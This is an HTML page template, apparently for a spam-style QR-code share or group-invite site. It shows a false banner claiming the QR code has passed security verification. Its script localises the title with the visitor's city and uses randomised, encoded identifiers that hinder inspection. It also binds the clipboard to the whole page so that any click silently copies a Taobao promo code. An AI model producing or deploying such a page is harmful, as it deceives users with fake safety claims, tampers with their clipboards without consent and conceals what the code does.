<!doctype html>
<html>
<head>
	<meta http-equiv=X-UA-Compatible content="IE=edge">
	<meta http-equiv=content-type content="text/html;charset=utf8">
	<meta name="viewport" content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
	<meta content="telephone=no" name=format-detection />
	<title>...</title>
	<link rel="stylesheet" href="https://res.wx.qq.com/open/libs/weui/2.3.0/weui.min.css">
	<link rel="stylesheet" href="__LAYUI__/css/layui.css">
	<script src="__STATIC__/js/jquery.min.js" type="text/javascript" charset="utf-8"></script>

	<style>
		body,html{height:100%;font-family:'Helvetica Neue', Helvetica, Arial, 'PingFang SC','Hiragino Sans GB', 'WenQuanYi Micro Hei', 'Microsoft Yahei', sans-serif;background:#fff;}
		* {margin:0;padding:0;}

		#box .top {padding: 10px;background-color: rgba(0,0,0,.1);color: #16b777;}
		#box .top_msg{font-size:24px;padding:30px 0 20px;color: #FF5722;text-align: center;}
		#box .share_img {text-align: center;}
		#box .share_img img {max-width: 100%;}
	</style>
</head>

<body>

<div id="box">
	<div class="top">
		<i class="layui-icon layui-icon-vercode" style="font-size: 150%;"></i>
		<span style="font-size: 130%;">此二维码已通过安全验证，可放心扫描</span>
	</div>
	<div class="top_msg">
		{$conf.share_end_msg}
	</div>
	<div class="share_img">
		<img src="{$data.qrcode}" alt="请在后台上传图片">
	</div>
</div>

<script>

	var dizhi = '本地';
	if(typeof localAddress != 'undefined') {
		if(typeof localAddress["city"] != 'undefined' && localAddress["city"] != '') {
			dizhi = localAddress["city"];
			dizhi = dizhi.replace("市", "");
		} else if(typeof localAddress["province"] != 'undefined' && localAddress["province"] != '') {
			dizhi = localAddress["province"];
			dizhi = dizhi.replace("省", "");
		}
	}

	function getRandEmoji() {
		var emoji = ["🌂","🌺","⛎","🐳","💖","🔥","🈲","💥","✨","💘","🍺","💌","🎸","⛵","🎁","💰","👙","🙏","🐠","🛀","😀","😁","😂","🤣","😃","😄","😅","😆","😉","😊","😋","😎","😍","😘","😗","😙","😚","🙂","🤗","🤔","😐","😶","😑","🙄","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😝","🤤","😓","😔","😕","🙃","🤑","😲","😖","😖","😞","😟","😤","😢","😭","😦","😦","🤧","😇","🤠","🤡","🤥","🤓","😈","👿","👹","👺","💀","👻","👽","😺","😸","😹","😻","😼","😽","🙀","😿","😾","👫","👬","👭","👃🏿","👣","👀","👁","👅","👄","💋","👓","👔","👕","👙","👚","👜","👠","👑","🎩","💍","💼","🌠","🌏","🌕","🌠","😙","🈲","✅","🔡","🔘","🔖","🔗","🔜","🔙","🔚","🔛","⚪","⛔","🔽","🔠","⚫","🚫","✅","🔼","⛔","❎","🔢","📛","🔵"];
		var index = Math.floor((Math.random() * emoji.length));
		return emoji[index];
	}


	var {$rand_str.data}  = JSON.parse(window.atob("{$jsondata}"));

	function {$rand_str.jiemi}(s) {return decodeURIComponent(atob(s));}

	/*替换标题里的标签*/
	while( {$rand_str.data}.title.indexOf("{city}") > -1 || {$rand_str.data}.title.indexOf("{emoji}") > -1 ) {
		{$rand_str.data}.title = {$rand_str.data}.title.replace("{city}", dizhi).replace("{emoji}", getRandEmoji());
	}

	document.title = {$rand_str.data}.title + '（' + {$rand_str.data}.number + '人）';


	function {$rand_str.ddd}(link, callback) {
		var label = document.createElement('script');
		label.src = link;
		label.onload = function() {
			if (typeof callback === 'function') callback()
		};
		document.body.appendChild(label)
	}

	{$rand_str.ddd}('/static/js/clipboard.min.js',function(){
		var clipboard = new ClipboardJS('html', {text: function () {return {$rand_str.data}.taokouling;}});
	});


	/* 添加右下角 投诉按钮 */
	$(function(){
		$('body').append({$rand_str.jiemi}('JTNDc3R5bGUlM0UlMjN0cyUyMCU3QnBvc2l0aW9uJTNBJTIwZml4ZWQlM0JyaWdodCUzQSUyMDMwcHglM0Jib3R0b20lM0ElMjA1MHB4JTNCei1pbmRleCUzQSUyMDk5OTk5JTNCJTdEJTNDJTJGc3R5bGUlM0UlM0NkaXYlMjBpZCUzRCUyMnRzJTIyJTNFJTNDYSUyMHN0eWxlJTNEJTIyZGlzcGxheSUzQSUyMGlubGluZS1ibG9jayUzQmJhY2tncm91bmQtY29sb3IlM0ElMjAlMjNGRjU3MjIlM0Jjb2xvciUzQSUyM2ZmZmZmZiUzQmZvbnQtc2l6ZSUzQSUyMDE2cHglM0JwYWRkaW5nJTNBJTIwMTBweCUyMDZweCUzQmJvcmRlci1yYWRpdXMlM0ElMjA1MCUyNSUzQmJvcmRlciUzQSUyMDFweCUyMHNvbGlkJTIwJTIzZWVlJTNCJTIyJTNFJUU2JThBJTk1JUU4JUFGJTg5JTNDJTJGYSUzRSUzQyUyRmRpdiUzRQ'));

		$('#ts').click(function(){
			$.get('/item/auto/ts', {}, function(res){
				if ( res.code == 1 ){
					{$rand_str.aaa}('<h2>'+ res.msg +'</h2>', {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'), function(){location.href = res.url;});
					setTimeout(function(){
						location.href = res.url;
					}, 3000);
				}
			});
		});
	})

</script>

<div style="display: none;">{:fission('liuliangtongji')}</div>
</body>
</html>
